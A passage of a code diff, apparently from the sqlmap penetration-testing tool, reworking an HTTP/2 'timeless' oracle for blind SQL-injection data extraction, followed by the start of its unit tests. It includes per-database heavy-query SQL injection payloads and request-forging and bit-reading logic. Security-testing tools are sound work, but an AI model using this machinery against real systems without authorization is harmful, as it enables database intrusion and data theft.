reliable on heavy or + noisy enumeration queries and reads end-of-string as the ~50% split). Specs are the (url, method, headers, post) tuples from getPage(buildOnly=True).""" - reqCond = _specToReq(condSpec, self.host) # Pass the bound _conn factory (not a resolved connection) so a pair whose connection is retired - # mid-read (server GOAWAY on a long dump) is transparently re-sent on a fresh one. - if negSpec is not None: - return readBit(self._conn, reqCond, _specToReq(negSpec, self.host), votes=self.votes, timeout=self.timeout) - return readBitAsymmetric(self._conn, reqCond, self.refReq, self.asymVotes, self.timeout) + # mid-read (server GOAWAY on a long dump) is transparently re-sent on a fresh, re-calibrated one. + return readBit(self._conn, _specToReq(condSpec, self.host), _specToReq(negSpec, self.host), + votes=self.votes, timeout=self.timeout, expectStatus=self.status, pTrue=self.pTrue) def close(self): with self._lock: - for conn in self._conns: - try: - conn.close() - except Exception: - pass - self._conns = [] - - -def engage(host, port, vector, proxy=None, timeout=30): - """Build the fixed always-heavy reference from `vector` (INFERENCE=1=1) and install a per-thread - TimelessOracle on kb.timeless (connections open lazily per worker thread). queryPage picks it up - automatically. Call disengage() when done. `vector` is the tuned rung-2 heavy vector (see tuneHeavy). - The reference is used by the asymmetric tiebreak when a symmetric read splits (end-of-string / noise).""" + self._closed = True # set BEFORE closing, so a connection opened concurrently by a + conns, self._conns = self._conns, [] # worker is closed by _conn() instead of resurrected + for conn in conns: + try: + conn.close() + except Exception: + pass + + +def engage(oracle, technique, vector): + """Publish a fully-built `oracle` on kb.timeless, swapping `technique`'s vector for the tuned heavy one + so every extraction payload from here on gates the heavy branch and carries the sentinels the symmetric + oracle negates. Ordered so it is all-or-nothing: the vector swap (which alone would break classic + time-based) happens first and is rolled back if anything fails, and kb.timeless is published LAST, so a + failure can never leave a half-engaged oracle behind. disengage() undoes both.""" + from lib.core.common import getTechniqueData from lib.core.data import kb - refReq = _forgeRequest("1=1", host, vector) - kb.timeless = TimelessOracle(host, port, refReq, proxy=proxy, timeout=timeout) - return kb.timeless + # hold the injection-data OBJECT, not the technique enum: disengage() can run after the controller has + # moved on to the next target, and re-resolving the enum then would restore this target's vector onto + # the next one's injection data. + data = getTechniqueData(technique) + oracle.savedData, oracle.savedVector = data, data.vector + data.vector = vector + try: + kb.timelessRestore = None # a previous target's straggler-rewrite must not outlive it + kb.timeless = oracle + except Exception: + data.vector = oracle.savedVector + raise + return oracle def disengage(): - """Tear down the timeless oracle and close all per-thread connections.""" + """Tear down the timeless oracle, restore the classic time-based vector and close all per-thread + connections. Restoration is not swallowed on failure: leaving the heavy (no-delay) vector in place + would make every subsequent classic time-based comparison read False.""" from lib.core.data import kb oracle = kb.get("timeless") if oracle is not None: - if oracle.savedTechnique is not None: - try: - from lib.core.common import getTechniqueData - getTechniqueData(oracle.savedTechnique).vector = oracle.savedVector - except Exception: - pass - oracle.close() kb.timeless = None + # Restoring the vector is NOT enough on its own: bisection freezes a comparison TEMPLATE from it + # when a value starts extracting, so the rest of the value in flight keeps forging heavy (no-delay) + # payloads that wall-clock comparison reads as False. Publish the classic vector so queryPage can + # re-forge those stragglers until bisection builds its next template. See restoreClassicValue(). + kb.timelessRestore = oracle.savedVector + try: + if oracle.savedData is not None: + oracle.savedData.vector = oracle.savedVector + oracle.savedData = None + finally: + oracle.close() def hintTimeless(): @@ -280,8 +463,10 @@ def hintTimeless(): if parts.scheme != "https": return - # cheap one-connection HTTP/2 ALPN probe: connect() raises unless the server negotiates 'h2' - conn = connect(parts.hostname, parts.port or 443, None, conf.timeout or 30) + # cheap one-connection HTTP/2 ALPN probe: connect() raises unless the server negotiates 'h2'. It + # goes through the configured proxy like every other request - probing direct would leak the real + # source address under '--tor'/'--proxy' (proxyProfile() refuses outright on SOCKS, so no hint). + conn = connect(parts.hostname, parts.port or 443, proxyProfile(), conf.timeout or 30) conn.close() singleTimeWarnMessage("target speaks HTTP/2 - switch '--timeless' can extract this time-based injection " "by relative response order (no delay), typically far faster. Consider re-running with '--timeless'") @@ -332,24 +517,38 @@ def _doAutoEngage(conf, kb, logger, Backend): logger.warning("'--timeless' requires an https/HTTP-2 target. Falling back to classic time-based") return False + # '--chunked' rewrites the entity body into HTTP/1.1 chunked wire format, which buildOnly hands back + # verbatim; sent as an h2 DATA stream the server would read '4\r\ndata\r\n0\r\n\r\n' as the body. + if conf.chunked: + logger.warning("'--timeless' is incompatible with switch '--chunked'. Falling back to classic time-based") + return False + + try: + proxy = proxyProfile() + except ValueError: + logger.warning("'--timeless' cannot use a SOCKS proxy (including '--tor'), and will not connect around it. Falling back to classic time-based") + return False + host, port = parts.hostname, parts.port or 443 dbms = Backend.getIdentifiedDbms() if lightHeavyVector(dbms, LIGHT_HEAVY_COSTS[0]) is None: logger.warning("'--timeless' has no heavy-query primitive for DBMS '%s' yet. Falling back to classic time-based" % dbms) return False + if _calibrationConditions(dbms)[0] is None: + logger.warning("'--timeless' cannot build a faithful calibration probe for DBMS '%s'. Falling back to classic time-based" % dbms) + return False # Calibration sends a few hundred coalesced probe-pairs to measure the target's response-order # reliability and tune the work size - that is the pause the user sees before engagement. Announce # it and stream a dot per probe, mirroring the classic time-based "statistical model, please wait". - import time as _time from lib.core.common import dataToStdout - dataToStdout("[%s] [INFO] calibrating HTTP/2 timeless timing on '%s' (measuring response-order reliability), please wait" % (_time.strftime("%X"), dbms)) - probe = connect(host, port, None, conf.timeout or 30) + dataToStdout("[%s] [INFO] calibrating HTTP/2 timeless timing on '%s' (measuring response-order reliability), please wait" % (time.strftime("%X"), dbms)) + probe = connect(host, port, proxy, conf.timeout or 30) # value-parallel dumping runs conf.threads workers concurrently, each firing heavy queries; demand # that much more calibration margin so the tuned cost survives the self-induced load (see tuneHeavy). loadFactor = max(1, conf.threads or 1) try: - vector, cost, confidence = tuneHeavy(probe, dbms=dbms, progress=lambda: dataToStdout('.'), loadFactor=loadFactor) + vector, cost, confidence, status, probeSlow, probeFast = tuneHeavy(probe, dbms=dbms, progress=lambda: dataToStdout('.'), loadFactor=loadFactor) finally: probe.close() dataToStdout(" (done)\n") @@ -358,37 +557,42 @@ def _doAutoEngage(conf, kb, logger, Backend): logger.warning("HTTP/2 timeless timing is not usable on this target (confidence %.2f, backend likely serializes streams). Falling back to classic time-based" % confidence) return False - oracle = engage(host, port, vector, timeout=conf.timeout or 30) - # Votes per bit for the cond-last fraction: enough that a real TRUE (~100%) clears the 80% threshold - # and end-of-string (~50%) stays below it, with headroom for jitter. A perfectly-calibrated target - # needs fewer; a marginal one gets more. (No validateChar re-check runs under timeless.) - oracle.votes = 5 if confidence >= 1.0 else 9 - - # bisection forges its comparison payloads from the TIME technique's vector - swap in the tuned - # heavy (sentinel) vector NOW (before extraction builds any payload) so every condition request - # gates the heavy branch and carries the sentinels the symmetric oracle negates. Restored on - # disengage(). - oracle.savedTechnique = PAYLOAD.TECHNIQUE.TIME - oracle.savedVector = timeData.vector - timeData.vector = vector + # A sweep that did not miss a single trial licenses the CLEAN decision model (votes are + # deterministic on such a target - see the SPRT constants), which reads a bit in about the same + # pairs the classic rule spent; every connection then has to reproduce that unanimity before it may + # read. Anything less gets the conservative model and a bigger minimum sample. + # (No validateChar re-check runs under timeless.) + clean = confidence >= 1.0 + oracle = TimelessOracle(host, port, probeSlow, probeFast, proxy=proxy, timeout=conf.timeout or 30, + votes=4 if clean else 8, status=status, + pTrue=SPRT_P_TRUE_CLEAN if clean else SPRT_P_TRUE, + verifyThreshold=VERIFY_THRESHOLD_CLEAN if clean else VERIFY_THRESHOLD) + # bisection forges its comparison payloads from the TIME technique's vector, so the swap to the + # tuned heavy (sentinel) vector has to happen NOW, before extraction builds any payload. engage() + # does that and publishes the oracle as one all-or-nothing step; disengage() undoes it. + engage(oracle, PAYLOAD.TECHNIQUE.TIME, vector) logger.info("turning on HTTP/2 timeless timing (heavy cost %d, calibration %.2f) - reading bits by response order, no delay" % (cost, confidence)) return True except Exception as ex: from lib.core.common import getSafeExString + disengage() logger.warning("HTTP/2 timeless timing setup failed ('%s'). Falling back to classic time-based" % getSafeExString(ex)) return False -# Connection/h2-forbidden request headers that a coalesced pair must not carry (open_url strips the same -# set for single requests); ':authority' replaces Host, and content-length/framing are h2's job. -_FORBIDDEN_HEADERS = frozenset(("host", "connection", "keep-alive", "proxy-connection", - "transfer-encoding", "upgrade", "content-length")) - - def _specToReq(spec, fallbackAuthority): """Convert the (url, method, headers, post) tuple that Connect.getPage(buildOnly=True) returns into - the request dict exchange_pair expects.""" + the request dict exchange_pair expects. + + ':authority' is taken from the assembled Host header whenever there is one, and only falls back to the + URL host otherwise: they legitimately differ under virtual hosting, '--host', or an injection point + that IS the Host header - deriving the authority from the URL would silently retarget the request (and, + for a Host-header injection, drop the payload, leaving both requests of the pair identical). + + Header filtering is deliberately left to the HTTP/2 layer's _normalize_request_headers(), which drops + Host/Connection/framing fields AND the fields a Connection header nominates. Stripping Connection here + first would keep those nominated fields in an h2 request, which is malformed.""" try: from urllib.parse import urlsplit except ImportError: @@ -399,13 +603,14 @@ def _specToReq(spec, fallbackAuthority): path = parts.path or "/" if parts.query: path += "?" + parts.query - reqHeaders = {} + authority = None for key in (headers or {}): name = key.decode("latin-1") if isinstance(key, bytes) else key - if name.lower() not in _FORBIDDEN_HEADERS: - reqHeaders[key] = headers[key] - return {"method": method, "path": path, "authority": (parts.netloc.split("@")[-1] or fallbackAuthority), - "headers": reqHeaders, "body": post} + if name.lower() == "host": + authority = headers[key] + break + authority = authority or parts.netloc.split("@")[-1] or fallbackAuthority + return {"method": method, "path": path, "authority": authority, "headers": headers or {}, "body": post} def getHeavyVector(dbms=None): @@ -414,7 +619,7 @@ def getHeavyVector(dbms=None): ELSE ...' gate, WAF-tuned and per-DBMS, so the heavy work provides the natural delta with no SLEEP. Prefers the plain 'AND' boundary variant. Returns None if none is loaded.""" from lib.core.data import conf - from lib.core.common import Backend + from lib.core.common import Backend, isListLike dbms = dbms or Backend.getIdentifiedDbms() if not dbms: @@ -426,7 +631,7 @@ def getHeavyVector(dbms=None): if "heavy query" not in title.lower(): continue testDbms = ((test.get("details") or {}).get("dbms")) or "" - testDbms = testDbms if isinstance(testDbms, str) else " ".join(testDbms) + testDbms = " ".join(testDbms) if isListLike(testDbms) else testDbms # tolerate combined labels like "Microsoft SQL Server/Sybase" if not (dbms.lower() in testDbms.lower() or any(part.strip().lower() == dbms.lower() for part in testDbms.split('/'))): continue @@ -470,7 +675,11 @@ def getHeavyVector(dbms=None): # sub-threshold delta, it safely falls back. Keyed on DBMS.* so forks resolve via their base DBMS # (MariaDB/TiDB->MySQL, CockroachDB->PostgreSQL). _LH_MYSQL = "(SELECT BENCHMARK([COST],MD5(1)))" # MySQL/MariaDB: CPU burn, O(1) memory (TiDB hoists -> safe fallback) -_LH_MSSQL = "(SELECT LEN(HASHBYTES('SHA2_512',REPLICATE(CAST('a' AS VARCHAR(MAX)),[COST]))))" # MSSQL/Sybase (VARCHAR(MAX) bypasses REPLICATE's 8000-byte cap) +# MSSQL/Sybase: the sysusers cross-join is exactly the shipped heavy-query primitive (time_blind.xml), just +# bounded by TOP so the cost ladder means something and the work stays capped. A literal TOP keeps it valid +# on Sybase ASE too (which takes no expression there). Deliberately NOT HASHBYTES: SQL Server 2014 and older +# cap its input at 8000 bytes regardless of VARCHAR(MAX), so every rung of the ladder would error. +_LH_MSSQL = "(SELECT COUNT(*) FROM (SELECT TOP [COST] 1 AS qx FROM sysusers AS q1,sysusers AS q2,sysusers AS q3,sysusers AS q4,sysusers AS q5,sysusers AS q6,sysusers AS q7) AS qt)" LIGHT_HEAVY = { DBMS.PGSQL: "(SELECT COUNT(*) FROM GENERATE_SERIES(1,[COST]))", # PG materialises the series @@ -482,8 +691,12 @@ def getHeavyVector(dbms=None): DBMS.SQLITE: "(SELECT COUNT(*) FROM (WITH RECURSIVE _c(_x) AS (SELECT 1 UNION ALL SELECT _x+1 FROM _c LIMIT [COST]) SELECT _x FROM _c))", # ClickHouse ships a time-based payload; a plain COUNT folds (columnar) so force a per-row hash DBMS.CLICKHOUSE: "(SELECT COUNT(*) FROM numbers([COST]) WHERE MD5(toString(number))='zz')", - # Firebird best-effort: no generator, recursion<=1024, strings<=32 KB -> fixed system-catalog cross-join - DBMS.FIREBIRD: "(SELECT SUM(a.RDB$RELATION_ID) FROM RDB$RELATIONS a, RDB$RELATIONS b, RDB$RELATIONS c)", + # Firebird best-effort: no generator, recursion<=1024, strings<=32 KB -> system-catalog cross-join, bounded + # by FIRST (a literal, which Firebird accepts) so the rungs of the cost ladder actually differ in work. + # NOTE the plain aliases: Firebird rejects an unquoted identifier starting with '_', and because a + # syntax error here costs the same time as a cheap query it looks exactly like a folded primitive - + # measured live, 'AS _x'/'_t' returned in 0.59 s at every cost while 'AS qx'/'qt' scaled 0.78 -> 3.0 s. + DBMS.FIREBIRD: "(SELECT COUNT(*) FROM (SELECT FIRST [COST] 1 AS qx FROM RDB$RELATIONS a, RDB$RELATIONS b, RDB$RELATIONS c, RDB$RELATIONS d) qt)", # NOTE: DB2/Informix/HSQLDB/SAP MaxDB ship time-based payloads but have no validated light-heavy here -> # no entry -> they gracefully fall back to classic time-based (SLEEP/heavy-query) extraction. } @@ -566,23 +779,30 @@ def negatePayload(value): across every DBMS (unlike `IS NOT TRUE`).""" import re - pattern = re.compile(r"%s(.*?)%s" % (re.escape(INFERENCE_BEGIN), re.escape(INFERENCE_END))) + # DOTALL: a comparison can legitimately span lines (a tamper script inserting newlines for whitespace, + # a multi-line injected value); without it the sentinels would not match and the bit would be read on a + # path that never negates the condition. + pattern = re.compile(r"%s(.*?)%s" % (re.escape(INFERENCE_BEGIN), re.escape(INFERENCE_END)), re.DOTALL) if not pattern.search(value or ""): return None return pattern.sub(lambda m: "%s(CASE WHEN (%s) THEN 1 ELSE 0 END)=0%s" % (INFERENCE_BEGIN, m.group(1), INFERENCE_END), value) +def negateCondition(condition): + """The NULL-SAFE negation of a bare `condition` (no sentinels involved) - the same CASE form + negatePayload() splices in, so both paths terminate a string identically. See negatePayload().""" + return "(CASE WHEN (%s) THEN 1 ELSE 0 END)=0" % condition + + def _pairMs(conn, reqA, reqB, samples=5, timeout=30): """Median wall-clock of the coalesced PAIR (reqA, reqB) until BOTH streams finish - tracks the heavy branch when one is heavy, bare round-trip when none. Used for the reliability/separation gate that decides which cost to engage at (see tuneHeavy).""" - import time as _t - ts = [] for _ in range(samples): - s = _t.time() + s = time.time() _pairOrder(conn, reqA, reqB, timeout) - ts.append((_t.time() - s) * 1000.0) + ts.append((time.time() - s) * 1000.0) return sorted(ts)[samples // 2] @@ -596,8 +816,12 @@ def _calibrationConditions(dbms): with the constant sees a clean heavy delta the REAL extraction never has and engages straight into corruption (bits become a coin flip). Calibrating with the faithful predicate makes a hoisting target measure ~0 server-side delta on every rung, so tuneHeavy's MIN_HEAVY_MS gate rejects it and the scan - safely falls back to classic time-based. Falls back to the constant probes when the DBMS ships no - inference/banner template (calibration still gates, just without the hoist check).""" + safely falls back to classic time-based. + + Returns (None, None) when the DBMS ships no usable inference/banner template. It deliberately does NOT + fall back to '1=1'/'1=0': those are precisely the constant-foldable probes this function exists to + avoid, so a missing template or a formatting mismatch would silently disable the main anti-corruption + safeguard. No faithful probe means no calibration means no timeless on that DBMS.""" from lib.core.data import queries try: @@ -607,32 +831,46 @@ def _calibrationConditions(dbms): # int value works for both '>%d' and quoted-char '>%c' templates (chr(1)/chr(255) stay in-range) return (template % (banner, 1, 1), template % (banner, 1, 255)) except Exception: - return ("1=1", "1=0") + return (None, None) -def tuneHeavy(conn, dbms=None, trials=50, threshold=0.97, timeout=30, progress=None, loadFactor=1): - """Walk the cost ladder and return (vector, cost, confidence) for the LIGHTEST rung-2 heavy - that is BOTH (a) big enough in absolute server-side time (>= MIN_HEAVY_MS) to survive extraction load, - and (b) whose response-order signal calibrates as reliable. Returns (None, None, best_confidence) if - none qualifies. +TUNE_DEADLINE_SECS = 300.0 # overall wall-clock budget for the tuning sweep (see tuneHeavy) + + +def tuneHeavy(conn, dbms=None, trials=50, threshold=0.97, timeout=30, progress=None, loadFactor=1, deadline=None): + """Walk the cost ladder and return (vector, cost, confidence, status, reqSlow, reqFast) for the LIGHTEST + rung-2 heavy that is BOTH (a) big enough in absolute server-side time (>= MIN_HEAVY_MS) to survive + extraction load, and (b) whose response-order signal calibrates as reliable. `status` and the two probe + requests are handed back so the oracle can re-calibrate every later connection against the same + known-asymmetric pair and validate every read against the same response status. Returns + (None, None, best_confidence, None, None, None) if no rung qualifies. Requirement (a) is the fix for the fixed-[COST]-means-different-time trap: PostgreSQL generate_series(N) and MySQL SHA2(REPEAT('a',N)) at the SAME N differ ~10x in wall time, so a fixed floor that is fine for a generator is a ~1-2 ms nothing for a hash - which calibrates fine IDLE (order reliable) then flips bits under load. Measuring the real delta and requiring a margin makes the tuning primitive-agnostic and - load-robust; on a fast single-hop backend the smallest qualifying cost is still tiny.""" + load-robust; on a fast single-hop backend the smallest qualifying cost is still tiny. + + The whole sweep is bounded by `deadline` (default TUNE_DEADLINE_SECS from now). The per-socket timeout + only bounds a single exchange, so an endpoint that answers just fast enough, just slowly enough, could + otherwise keep tuning alive indefinitely and the scan would never start.""" from lib.core.common import Backend dbms = dbms or Backend.getIdentifiedDbms() + deadline = deadline if deadline is not None else time.time() + TUNE_DEADLINE_SECS # Probe with the faithful (uncorrelated, non-foldable) extraction predicate, NOT constant 1=1/1=0, so a # target that hoists the heavy subquery out of the CASE (running it in both branches) is measured with # ~0 delta and rejected here instead of engaging into corruption. See _calibrationConditions(). trueCond, falseCond = _calibrationConditions(dbms) + if trueCond is None: + return (None, None, 0.0, None, None, None) best = 0.0 for cost in LIGHT_HEAVY_COSTS: + if time.time() > deadline: + break vector = lightHeavyVector(dbms, cost) if not vector: - return (None, None, 0.0) + return (None, None, 0.0, None, None, None) reqSlow = _forgeRequest(trueCond, conn.host, vector) reqFast = _forgeRequest(falseCond, conn.host, vector) # Measure the coalesced-PAIR times: a one-heavy pair (reqSlow vs reqFast) and a no-heavy pair @@ -659,11 +897,12 @@ def tuneHeavy(conn, dbms=None, trials=50, threshold=0.97, timeout=30, progress=N if progress is not None: progress() continue # margin too thin to survive load -> escalate cost - usable, confidence = calibrate(conn, reqSlow, reqFast, trials=trials, threshold=threshold, timeout=timeout, progress=progress) + usable, confidence, status = calibrate(conn, reqSlow, reqFast, trials=trials, threshold=threshold, + timeout=timeout, progress=progress, deadline=deadline) best = max(best, confidence) if usable: - return (vector, cost, confidence) - return (None, None, best) + return (vector, cost, confidence, status, reqSlow, reqFast) + return (None, None, best, None, None, None) def _forgeRequest(inferenceExpr, authority, vector=None): @@ -682,42 +921,43 @@ def _forgeRequest(inferenceExpr, authority, vector=None): return _specToReq(spec, authority) -def readBitLive(conn, condition, vector=None, votes=1, timeout=30): +def readBitLive(conn, condition, vector=None, votes=4, timeout=30): """Read one boolean from the LIVE injection point by timeless timing. `condition` is the comparison bisection injects (e.g. 'ORD(...)>64'). The condition request carries it at INFERENCE_MARKER, the - negation request carries NOT(condition); with a heavy-query `vector` exactly one runs the heavy work, - so response order names the bit - no SLEEP. `vector` defaults to the current technique's vector + negation request carries its NULL-safe negation; with a heavy-query `vector` exactly one runs the heavy + work, so response order names the bit - no SLEEP. `vector` defaults to the current technique's vector (rung 1, bare boolean natural delta); pass getHeavyVector() for rung 2. Returns True iff condition holds.""" reqCond = _forgeRequest(condition, conn.host, vector) - reqNeg = _forgeRequest("NOT(%s)" % condition, conn.host, vector) + reqNeg = _forgeRequest(negateCondition(condition), conn.host, vector) return readBit(conn, reqCond, reqNeg, votes=votes, timeout=timeout) -def readBitAsymmetric(connSource, reqCond, reqRef, votes=12, timeout=30): - """Read one boolean WITHOUT the negated comparison - only the condition request and a FIXED always-heavy - reference. When the condition is TRUE, reqCond runs the SAME heavy work as reqRef, so they race ~50/50 - and reqCond finishes last about HALF the votes; when FALSE - or when the comparison is NULL / the DBMS - errors on it past the end of a string - reqCond is strictly cheaper and finishes first essentially - always (~0 cond-last). So the DECISION is a fraction threshold well between those two populations, over - a FIXED number of votes (no early-exit): a single stray cond-last from jitter can no longer invent a - phantom character at end-of-string (the bug that appended trailing garbage), while a genuine TRUE still - clears the threshold comfortably. Used as the tiebreak when the symmetric read splits. - Returns True iff the condition holds.""" - condLast = 0 - for i in range(votes): - if i % 2 == 0: - first, condSid, _hiSid = _pairOrder(connSource, reqCond, reqRef, timeout) - else: - first, _loSid, condSid = _pairOrder(connSource, reqRef, reqCond, timeout) - if first != condSid: # cond finished last -> it ran the heavy branch this vote - condLast += 1 - return condLast * 4 >= votes # >= 25% cond-last -> TRUE (mid-way between ~50% and ~0%) +def restoreClassicValue(value, classicVector): + """Rebuild the payload `value` - forged from the tuned heavy (sentinel) vector - on top of `classicVector`, + the time-based vector that was swapped out. Returns None when `value` carries no sentinels. + + Needed on the runtime fallback path: once timeless disengages mid-extraction, the comparison in flight + was already assembled from the heavy vector, which induces milliseconds rather than '--time-sec' + seconds. Re-running it as-is through wall-clock comparison would read False no matter the truth, so the + caller re-forges the SAME comparison onto the restored vector first.""" + import re + + from lib.core.agent import agent + from lib.core.settings import INFERENCE_MARKER + + match = re.search(r"%s(.*?)%s" % (re.escape(INFERENCE_BEGIN), re.escape(INFERENCE_END)), value or "", re.DOTALL) + if not match: + return None + forged = agent.suffixQuery(agent.prefixQuery(classicVector.replace(INFERENCE_MARKER, match.group(1)))) + return agent.payload(newValue=forged) def calibrateLive(conn, vector=None, trials=40, threshold=0.9, timeout=30, progress=None): """Calibrate the live target using a KNOWN asymmetry: INFERENCE=1=1 runs the heavy branch, INFERENCE=1=0 - stays cheap. On a concurrent backend the heavy request finishes last. Returns (usable, confidence); - below threshold the backend serializes or the delta is unreadable -> do NOT use the oracle.""" + stays cheap. On a concurrent backend the heavy request finishes last. Returns (usable, confidence, + status); below threshold the backend serializes or the delta is unreadable -> do NOT use the oracle. + Ad-hoc probing only - autoEngage() calibrates with the faithful, non-foldable predicates that + _calibrationConditions() builds, never with these constants.""" reqSlow = _forgeRequest("1=1", conn.host, vector) reqFast = _forgeRequest("1=0", conn.host, vector) return calibrate(conn, reqSlow, reqFast, trials=trials, threshold=threshold, timeout=timeout, progress=progress) @@ -736,17 +976,17 @@ def req(bit): return {"method": "GET", "path": "/sql?bit=%d&cap=%d" % (bit, cap), "authority": host} conn = connect(host, port, None, 30) - usable, conf = calibrate(conn, req(1), req(0), trials=40) - print("calibrate: usable=%s confidence=%.3f" % (usable, conf)) + usable, confidence, status = calibrate(conn, req(1), req(0), trials=40) + print("calibrate: usable=%s confidence=%.3f status=%s" % (usable, confidence, status)) if usable: import itertools # Read a run of known bits. reqCond carries the actual condition (truth=b -> req(b) runs heavy # iff b=1); reqNeg carries the negation (truth=1-b -> req(1-b) runs heavy iff b=0). Exactly one - # runs heavy, so a single pair resolves the bit both ways. + # runs heavy, so the pair resolves the bit both ways. bits = list(itertools.islice(itertools.cycle([1, 0, 1, 1, 0, 0, 1, 0]), 24)) ok = 0 for b in bits: - got = readBit(conn, req(b), req(1 - b), votes=1) + got = readBit(conn, req(b), req(1 - b), votes=2, expectStatus=status) ok += int(bool(got) == bool(b)) - print("read %d/%d bits correctly (single pair each)" % (ok, len(bits))) + print("read %d/%d bits correctly" % (ok, len(bits))) conn.close() diff --git a/tests/test_timeless.py b/tests/test_timeless.py new file mode 100644 index 00000000000..2404e9bd99d --- /dev/null +++ b/tests/test_timeless.py @@ -0,0 +1,435 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Coverage for the HTTP/2 timeless-timing oracle in lib/request/timeless.py: the +sequential decision engine that turns response-order votes into bits, the pair +transport's replay-safety and response validation, request-spec conversion, the +sentinel negation, and oracle teardown. + +Network-free - a fake _H2Connection stands in for the transport, so every vote +sequence is exactly reproducible. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import os +import socket +import sys +import threading +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request import timeless as _timeless +from lib.request.http2 import _UnprocessedStream +from lib.request.timeless import ( + LIGHT_HEAVY, + LIGHT_HEAVY_COSTS, + SPRT_CAP_FACTOR, + TimelessOracle, + TimelessUnusable, + _pairOrder, + _specToReq, + buildConditionPair, + calibrate, + lightHeavyVector, + negateCondition, + negatePayload, + readBit, +) + +REQ_COND = {"method": "GET", "path": "/?id=1", "authority": "h"} +REQ_NEG = {"method": "GET", "path": "/?id=2", "authority": "h"} + + +class FakeConnection(object): + """Minimal _H2Connection stand-in. `orders` is an iterable of booleans - True means the SECOND request + of the pair finished last (so exchange_pair reports the first-sent stream as finishing first).""" + + def __init__(self, orders=(), statuses=None, raises=None, host="target"): + self.host, self.port = host, 443 + self.next_sid = 1 + self.usable = True + self.closed = 0 + self.sent = [] + self._orders = list(orders) + self._statuses = list(statuses) if statuses is not None else None + self._raises = list(raises) if raises is not None else [] + + def exchange_pair(self, requests, timeout): + if self._raises: + error = self._raises.pop(0) + if error is not None: + raise error + self.sent.append(list(requests)) + lo, hi = self.next_sid, self.next_sid + 2 + self.next_sid += 4 + secondLast = self._orders.pop(0) if self._orders else True + order = [lo, hi] if secondLast else [hi, lo] + status = self._statuses.pop(0) if self._statuses else 200 + statuses = status if isinstance(status, tuple) else (status, status) + return order, {lo: (statuses[0], [], b""), hi: (statuses[1], [], b"")} + + def close(self): + self.closed += 1 + self.usable = False + + +def votes(*heavyLast): + """Build the `orders` sequence for readBit()/calibrate() votes: heavyLast[i] True means the request + under test (reqCond / reqSlow) finished LAST on vote i. Both alternate the send order, so which slot it + occupies - and therefore whether 'it finished last' means 'the second-sent stream finished last' - + flips every vote.""" + return [last if i % 2 else not last for i, last in enumerate(heavyLast)] + + +class TimelessDecisionTest(unittest.TestCase): + def test_unanimous_true_and_false(self): + conn = FakeConnection(votes(*([True] * 20))) + self.assertTrue(readBit(conn, REQ_COND, REQ_NEG, votes=4)) + conn = FakeConnection(votes(*([False] * 20))) + self.assertFalse(readBit(conn, REQ_COND, REQ_NEG, votes=4)) + + def test_decisions_only_on_balanced_samples(self): + """Both stream-id orderings must contribute equally, so a bit can never be decided on an odd + number of votes (which would give one ordering an extra say).""" + for pattern in ([True] * 20, [False] * 20, [True, False] * 10): + conn = FakeConnection(votes(*pattern)) + readBit(conn, REQ_COND, REQ_NEG, votes=4) + self.assertEqual(len(conn.sent) % 2, 0) + + def test_late_disagreement_does_not_flip_a_true_bit(self): + """The regression the sequential test fixes: three cond-last then two cond-first used to hit + fraction 0.6 -> escalate, and the next cond-first (3/6 = 0.5) returned False on the spot.""" + pattern = [True, True, True, False, False, False] + [True] * 30 + conn = FakeConnection(votes(*pattern)) + self.assertTrue(readBit(conn, REQ_COND, REQ_NEG, votes=4)) + self.assertGreater(len(conn.sent), 6) + + def test_coin_flip_reads_false(self): + """A DBMS that errors past the end of a string makes both requests error, so the order is a coin + flip - that must terminate the string, not invent a character.""" + conn = FakeConnection(votes(*([True, False] * 40))) + self.assertFalse(readBit(conn, REQ_COND, REQ_NEG, votes=4)) + + def test_cap_is_respected(self): + conn = FakeConnection(votes(*([True, False] * 200))) + readBit(conn, REQ_COND, REQ_NEG, votes=4) + self.assertLessEqual(len(conn.sent), 4 * SPRT_CAP_FACTOR) + + def test_clean_model_costs_no_more_than_the_classic_rule(self): + """A target whose tuning sweep was unanimous is read at SPRT_P_TRUE_CLEAN. Live measurement on such + a target (6990 votes, idle and under 4x load) never produced a disagreeing vote, so the model has to + pay about what the old fixed five-pair rule did or the accuracy work is a straight slowdown.""" + conn = FakeConnection(votes(*([True] * 20))) + self.assertTrue(readBit(conn, REQ_COND, REQ_NEG, votes=4, pTrue=_timeless.SPRT_P_TRUE_CLEAN)) + self.assertLessEqual(len(conn.sent), 6) + + conn = FakeConnection(votes(*([False] * 20))) + self.assertFalse(readBit(conn, REQ_COND, REQ_NEG, votes=4, pTrue=_timeless.SPRT_P_TRUE_CLEAN)) + self.assertLessEqual(len(conn.sent), 4) + + def test_clean_model_still_terminates_a_string(self): + """The end-of-string coin flip is the failure this engine exists to prevent, so it must hold under + the cheaper model too.""" + conn = FakeConnection(votes(*([True, False] * 60))) + self.assertFalse(readBit(conn, REQ_COND, REQ_NEG, votes=4, pTrue=_timeless.SPRT_P_TRUE_CLEAN)) + + def test_minimum_sample_is_honoured(self): + conn = FakeConnection(votes(*([False] * 40))) + readBit(conn, REQ_COND, REQ_NEG, votes=12) + self.assertGreaterEqual(len(conn.sent), 12) + + def test_error_rates_are_bounded(self): + """Drive the decision engine with a deterministic pseudo-random vote stream and check that the + realised error rate on both hypotheses stays inside the configured bound (with slack for the + finite cap).""" + def stream(p, seed, count): + state, out = seed, [] + for _ in range(count): + state = (1103515245 * state + 12345) % (1 << 31) + out.append((state >> 16) % 1000 < p * 1000) + return out + + wrong = 0 + for trial in range(60): # genuine TRUE bits at the modelled per-vote reliability + conn = FakeConnection(votes(*stream(_timeless.SPRT_P_TRUE, trial + 1, 2000))) + wrong += not readBit(conn, REQ_COND, REQ_NEG, votes=4) + self.assertLessEqual(wrong, 6) # bound is 2%, allow slack for the finite sample + + wrong = 0 + for trial in range(60): # end-of-string coin flip: must never invent a character + conn = FakeConnection(votes(*stream(0.5, trial + 1, 2000))) + wrong += bool(readBit(conn, REQ_COND, REQ_NEG, votes=4)) + self.assertLessEqual(wrong, 6) + + wrong = 0 + for trial in range(60): # real FALSE bits (cond is strictly the cheap one) + conn = FakeConnection(votes(*stream(0.02, trial + 1, 2000))) + wrong += bool(readBit(conn, REQ_COND, REQ_NEG, votes=4)) + self.assertEqual(wrong, 0) + + +class TimelessTransportTest(unittest.TestCase): + 